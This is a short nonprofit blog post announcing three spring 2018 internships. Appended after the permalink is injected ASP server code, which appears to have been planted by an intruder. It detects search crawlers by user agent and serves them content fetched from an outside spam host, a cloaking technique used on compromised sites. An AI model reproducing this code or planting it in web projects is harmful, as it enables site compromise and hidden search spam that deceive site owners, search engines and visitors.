«

»

Jan 11

Print this Post

Intern with SDI this Semester!

SDI currently has three internship opportunities available for spring 2018. To apply for the internships listed below follow the links for a description of each project. Deadlines to apply vary, see posting for more info.

Agricultural Research Specialist

Menominee Agricultural Practices Archaeology Intern

Sustainability Leadership Cohort Education Mentor

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2018/01/intern-with-sdi-this-semester/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>